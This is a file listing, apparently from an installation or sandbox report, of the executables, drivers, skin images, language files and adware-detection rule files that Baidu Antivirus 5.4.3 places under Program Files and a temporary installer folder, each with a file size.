%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_safe.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bav.exe (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\iconDown.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\customUp.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\language.ini (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bh.dat (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1137.TVersityBar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\button_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\qs2fs_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_orange_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1110.BrowseForTheCause.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_red.bmp (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_scanning.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\GuideSlice_6.png (91 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_nor_unknown.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Genieo.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\tree_title_bk.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\unloadInvestigateTitle_cry.png (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\pcf_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\usblockIcon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin\icon\saftyIcon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1147.EntrustedToolbar.rul (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\blue_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\hp_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\closeover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\main_title_noprocess.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BDrvComm.dll (1629 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin.xml (94 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnMin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_audio_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1131.SocialSearchBar.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\pop_bg.bmp (114 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavnt.dll (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_browser_setup_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\orange_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1081.Funmoods.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_defense_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfilter64.sys (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_addietoolbar.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall2.png (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\UrlIpConfig\UrlIp.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\summary_top_safe_custom.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1158.UnfriendCheck.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\RebateInformer.rul (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\light.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1161.Linksicle.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\ProcessQuickScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_setting.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_lan_hover.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\Bdark64.sys (78 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsLogger.dll (297 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\avira_engine_ico_gray.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_bg_red.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\closeD.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1054.txt (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_red_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1252.2shared.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_cancel_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1050.SolidSavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1206.easydeals.rul (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_usb_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\iconLock.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_sel_nor.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsSvc.exe (1812 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_unsel_hot.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\investigate_op_layout2_bg.png (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\speechrolehover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\voicePlayGif.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUm64.dll (7972 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1054.CouponCaddy.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\main_title_noprocess.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUpdater\skin.xml (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavMem.dll (150 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\white_deep_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkox_unsel_disale.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_virus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\feedback\skin\main-feedback_tittle.png (67 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\top_bg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\feedback\skin\main-feedback_tittle.png (74 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavTray.exe (12288 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin.xml (59 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\combobox\combobox_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\btnH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\nwi.dat (262 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\summary_top_safe_text.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\mainFrame_investigate_mini_layout3_bg.png (129 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow_normal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1205.hdtotals.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1169.LoadTubes.rul (812 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1175.SySaver.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1155.CouponChaser.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1141.GameMasterToolbar.rul (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1170.Alawar_Ask_brch.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_settinghover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUpdater\skin\en_reboot_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\CrashReportModuleConf.ini (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\I18N\1046\skin.xml (773 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\symsrv.dll (1636 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1047.A180Darts.rul (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\waitingGif.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_tip_orange.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1245.winloadnew.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\log_threats.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_close_down.png (315 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\logo_updating.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\minBtn.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUpdater\skin.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil.sys (101 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_cancel_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\language.ini (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rcsex.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_safe.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnSet.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\webcake.rul (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\CrashReport.exe (3809 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\safeicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1114.ST-Eng7.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\gray_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\Bdark.sys (82 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\black_pop_excluded.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_sel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1232.555.in.th.rul (511 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhf.dat (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\orgconfig.ini (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\file-false-positives.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\feedback\skin\main-feedback_tittle.png (72 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\report_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\FileAssoicate.txt (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavPBMisc.dll (5442 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bndef64.sys (1766 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWl.dll (1649 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DarkLanguageConfig.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\setting_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1065.DeltaToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\line4.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_min_over.png (191 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\icon_ignored.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\IEProtect.exe (3705 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1031.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1072.MyHomepage.rul (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\bgExpart.png (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\focus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\BrowserProtect.rul (101 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\checkbox.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\protectSetHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_right_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavQv.dll (160 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\summary_top_safe_text.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox\FileShredderPopbg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\protectSetNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\main_title_noprocess.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_warning.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\ProcessQuickScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Adp\Plugin_HipsAdp.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\feedback\skin\SUBMIT_bg2.png (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\investigate_op_layout1_bg.png (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bubble_set_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_adblock_icon.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_nor_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\split_title_line.png (143 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1090.DVDVideoSoftToolbar.rul (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\I18N\1057\skin.xml (820 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\unloadInvestigateTitle.png (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\pop_button_close_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1077.BrowserCompanion.rul (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\itemhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\bg\safe_bk.png (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowUpH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1196.V9Toolbar.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sqlite.dll (1821 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_bg2.png (199 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\feedback_button_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\ProcessQuickScan.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\summary_top_safe_custom.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\safeicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\point_in.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_min_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\uninstall.ico (32 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_arrow_up.png (962 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1046.appbario12.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\black_pop_detected.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\IntellNoDisturb.dll (1613 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\main_title_unprotected.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\unloadInvestigateTitle.png (22 bytes)
